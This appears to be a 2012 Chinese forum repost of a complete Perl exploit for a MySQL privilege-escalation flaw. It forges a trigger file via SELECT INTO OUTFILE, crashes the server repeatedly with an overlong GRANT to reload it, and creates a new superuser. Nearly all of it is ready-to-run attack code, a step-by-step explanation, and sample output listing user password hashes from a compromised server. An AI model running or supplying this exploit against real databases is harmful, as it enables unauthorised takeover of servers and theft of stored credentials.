MySQL提权漏洞

akin520 发布于 2012/12/05 10:08
阅读 1K+
收藏 3

use DBI();
$|=1;

=for comment
MySQL远程提权漏洞:
这个漏洞可以新建一个超级用户
具体详见:http://www.exploit-db.com/exploits/23077/
By Kingcope

在以下版本测试成功:
a) Debian Lenny (mysql-5.0.51a)
b) OpenSuSE 11.4 (5.1.53-log)

工作原理,这个漏洞实际上利用了好几样东西:
a) 实施攻击的用户拥有数据库的file权限(select into outfile,load data infile)。
b) 所以攻击者可以在服务器上新建属于mysql用户的文件。
c) 这样攻击者就可以新建一个对mysql系统库进行读写的触发器(MySQL的触发器以明文文本的形式保存最对应库
  的目录下面,所以可以通过select into outfile新建)
  又因为MySQL里面调用存储过程和触发器的用户和执行存储过程不是同一个用户,调用的用户需要对应的存储
  过程和触发器 的excute权限,而执行的用户需要super权限(类似于Linux上的su命令和crontab的工作原理)。
  所以我们可以建一个执行用户为"root@localhost"的触发器(DEFINER=`root`@`localhost`), 之所以为
  DEFINER=`root`@`localhost`是因为这个用户是MySQL一个默认的超级用户。
d) 再通过栈溢漏洞造成MySQL Crash重启,达到重新加载配置文件的目的。这一步非常的重要,MySQL很多信息
  只要在启动的时候才会加载,这个栈溢出的原理是使用一个没有grant权限的用户做一个虚假的grant操作,而
  这个操作是对一个根本不存在但很长(如下攻击实例是10000字符长度的库名,实际达到284个时就会触发)库进
  行赋权。

这个漏洞的攻击过程如下:
a) 连接MySQL服务器
b) 为触发器新建一个叫做rootme的表
c) 使用select into outfile新建一个触发器 /var/lib/mysql/<databasename>/rootme.TRG
d) 通过栈溢出造成MySQL Crash重启,使MySQL加载这个新建的触发器。
e) 插入一条数据,触发触发器运行。
f) 触发器使当前低权限用户拥有mysql.user表的所有权限。
g) 再次通过栈溢出,让MySQL Crash重启重新加载权限文件。
h) 新建一个超级用户,因为不能执行flush privileges;操作,现在这个用户还无效。
i) 再次通过栈溢出,让MySQL Crash重启再次重新加载权限文件。
j) 使用这个具有超级权限的用户连接数据库。
k) 一个具有超级用户权限的用户建好了。

造成mysqld重载是由mysqld_safe造成的,所以并不是所有的配置都会有问题。
=cut

=for comment
建立测试用户(我们将只对测试库添加file权限):
mysql> CREATE USER 'less'@'%' IDENTIFIED BY 'test';
Query OK, 0 rows affected (0.00 sec)
mysql> create database lessdb
-> ;
Query OK, 1 row affected (0.00 sec)
mysql> GRANT ALL PRIVILEGES ON lessdb.* TO 'less'@'%' WITH GRANT OPTION;
Query OK, 0 rows affected (0.02 sec)
mysql> GRANT FILE ON *.* TO 'less'@'%' WITH GRANT OPTION;
Query OK, 0 rows affected (0.00 sec)
# 使用低权限用户登录,做如下操作会发现不能读系统库:
mysql> select * from mysql.user;
ERROR 1142 (42000): SELECT command denied to user 'less2'@'localhost' for table 'user'
=cut

=for comment
实例攻击输出:
C:\Users\kingcope\Desktop>perl mysql_privilege_elevation.pl
select 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/lessdb3/rootme.TRG' LINES TER
MINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after ins
ert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\
', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_p
riv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\
\', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', Reference
s_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y
\\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\
\'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\
'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_pri
v=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', ssl_type=
\\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\',
max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE
User=\\\'less3\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs
_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'lati
n1_swedish_ci\'\n';DBD::mysql::db do failed: Unknown table 'rootme' at mysql_pri
vilege_elevation.pl line 44.
DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_
privilege_elevation.pl line 50.
DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_
privilege_elevation.pl line 59.
W00TW00T!
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Found a row: id = debian-sys-maint, name = *C5524C128621D8A050B6DD616B06862F9D64
B02C
Found a row: id = some1, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = monty, name = *BF06A06D69EC935E85659FCDED1F6A80426ABD3B
Found a row: id = less, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = r00ted, name = *EAD0219784E951FEE4B82C2670C9A06D35FD5697
Found a row: id = user, name = *14E65567ABDB5135D0CFD9A70B3032C179A49EE7
Found a row: id = less2, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = less3, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC
=cut

$user = "less10";
$password = "test";
$database = "lessdb10";
$target = "192.168.2.4";
$folder = "/var/lib/mysql/"; # Linux
$newuser = "rootedbox2";
$newuserpass = "rootedbox2";
$mysql_version = "51"; # can be 51 or 50

if ($mysql_version eq "50") {
$inject =
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";
} else {
$inject =
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', Event_priv=\\\\\\'Y\\\\\\', Trigger_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";
}

print $inject;#exit;
$inject2 =
"SELECT 'TYPE=TRIGGERNAME\\ntrigger_table=rootme;' into outfile '".$folder.$database."/atk.TRN' FIELDS ESCAPED BY ''";

my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
   "$user", "$password",
   {'RaiseError' => 0});
eval { $dbh->do("DROP TABLE rootme") };
$dbh->do("CREATE TABLE rootme (rootme VARCHAR(256));");
$dbh->do($inject);
$dbh->do($inject2);

$a = "A" x 10000;
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");

sleep(3);

my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
   "$user", "$password",
   {'RaiseError' => 0});

$dbh->do("INSERT INTO rootme VALUES('ROOTED');");
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");

sleep(3);

my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
   "$user", "$password",
   {'RaiseError' => 0});

$dbh->do("CREATE USER '$newuser'\@'%' IDENTIFIED BY '$newuserpass';");
$dbh->do("GRANT ALL PRIVILEGES ON *.* TO '$newuser'\@'%' WITH GRANT OPTION;");
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");

sleep(3);

my $dbh = DBI->connect("DBI:mysql:host=$target;",
   $newuser, $newuserpass,
   {'RaiseError' => 0});

my $sth = $dbh->prepare("SELECT * FROM mysql.user");
$sth->execute();

print "W00TW00T!\n";

while (my $ref = $sth->fetchrow_hashref()) {
print "Found a row: id = $ref->{'User'}, name = $ref->{'Password'}\n";
}
$sth->finish();

转:http://chaous.com/MySQL/2012/12/03/MySQL-privilege-elevation-Exploit/

加载中
返回顶部
顶部